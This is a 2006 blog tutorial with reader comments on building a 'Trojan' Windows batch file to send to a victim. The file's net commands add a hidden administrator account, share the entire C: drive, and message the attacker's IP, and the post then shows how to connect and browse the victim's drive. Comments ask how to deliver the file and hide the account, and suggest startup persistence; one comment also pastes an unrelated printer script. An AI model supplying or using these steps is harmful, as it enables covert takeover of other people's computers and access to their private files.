jump to navigation

Making a Trojan in .bat file December 18, 2006

Posted by Azeem in Internet, System.

Open a dos prompt we will only need a dos prompt , and windows xp…
Opening a dos prompt -> Go to start and then execute and write
cmd and press ok
Now insert this command: net
And you will get something like this
Ok in this tutorial we well use 3 of the commands listed here
they are: net user , net share and net send
We will select some of those commands and put them on a .bat file.
What is a .bat file?
Bat file is a piece of text that windows will execute as commands.
Open notepad and whrite there:
And now save this as test.bat and execute it.
Funny aint it ?
———————- Starting ——————-
The plan here is to share the C: drive and make a new user
with administrators access
Step one -> Open a dos prompt and a notebook
The dos prompt will help you to test if the commands are ok
and the notebook will be used to make the .bat file.
Command n 1-> net user neo /add
What does this do? It makes a new user called neo you can put
any name you whant
Command n 2-> net localgroup administrators neo /add
This is the command that make your user go to the administrators

Depending on the windows version the name will be different.

If you got an american version the name for the group is Administrators
and for the portuguese version is administradores so it’s nice
yo know wich version of windows xp you are going to try share.
Command n 3->net share system=C:\ /unlimited

This commands share the C: drive with the name of system.
Nice and those are the 3 commands that you will need to put on your
.bat file and send to your friend.

Command n 4-> net send urip I am ur server
Where it says urip you will insert your ip and when the victim
opens the .bat it will send a message to your computer
and you can check the victim ip.

->To see your ip in the dos prompt put this command: ipconfig
———————–: Client :—————-
Now that your friend opened your .bat file her system have the
C: drive shared and a new administrator user.
First we need to make a session with the remote computer with
the net use command , you will execute these commands from your
dos prompt.

Command n 1 -> net use \\victimip neo
This command will make a session between you and the victim
Of course where it says victimip you will insert the victim ip.
Command n 2-> explorer \\victimip\system
And this will open a explorer windows in the share system wich is
the C: drive with administrators access!


1. Lasukana - March 28, 2007
2. SpalaDop - June 24, 2007
3. Waheeduddin - August 21, 2007

Thats one of the best posts i have ever seen

4. Kelvin - November 10, 2007


5. zvox - October 29, 2008

how to send that file to the victm??

6. oi2o - December 11, 2008


7. oi2o - December 11, 2008

how to hide user name? 🙂

8. aasifnasim - January 6, 2009

salam azim
u r such a nice guy and have good knowlege
i wanted to install some sort of software on lan(other users pc)

some code for
Instructions to SetDefaultPrinter
Copy and paste the script below into notepad.
Save the file with .vbs extension e.g. SetDefaultPrinter.vbs.
Double click and check in your Printers folder. Which printer is the default?

‘ SetDefaultPrinter.vbs – Windows logon script example
‘ PrintersDefault.vbs – Set the default printer.
‘ VBScript – to map a network printer
‘ Author Guy Thomas http://computerperformance.co.uk/
‘ Version 2.1 – April 24th 2005
‘ —————————————————————–‘
Option Explicit
Dim objNetwork, strUNCPrinter, strLocal
strUNCPrinter = “\\LittleServer\HP LaserJet 2420”
strLocal = “IBM”
Set objNetwork = CreateObject(“WScript.Network”)
objNetwork.AddWindowsPrinterConnection strUNCPrinter

‘ Here is where we set the default printer to strUNCPrinter
objNetwork.SetDefaultPrinter strLocal
WScript.Echo “Check the Printers folder for : ” & strUNCPrinter


‘ End of Guy’s SetDefaultPrinter logon script.

9. After Time - February 26, 2009

Ip changes every time you reboot so actually making an extra .bat wich you intergrate in the windows start up files will make sure u can acces the remote pc all the time.

10. Yong - October 13, 2009

Is it possible when I use internet via proxy server?

11. GeneralTrue - October 28, 2009

Everytime i try to acces the neo account it gives me a 64 error the name does not exist.when i try to acces the persons other account it just gives me some strange instructions.what am i doing wrong? xgeneraltruex@hotmail.com add me on msn if you want to help me in person.

12. An - December 16, 2009

how to hack the lan?

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: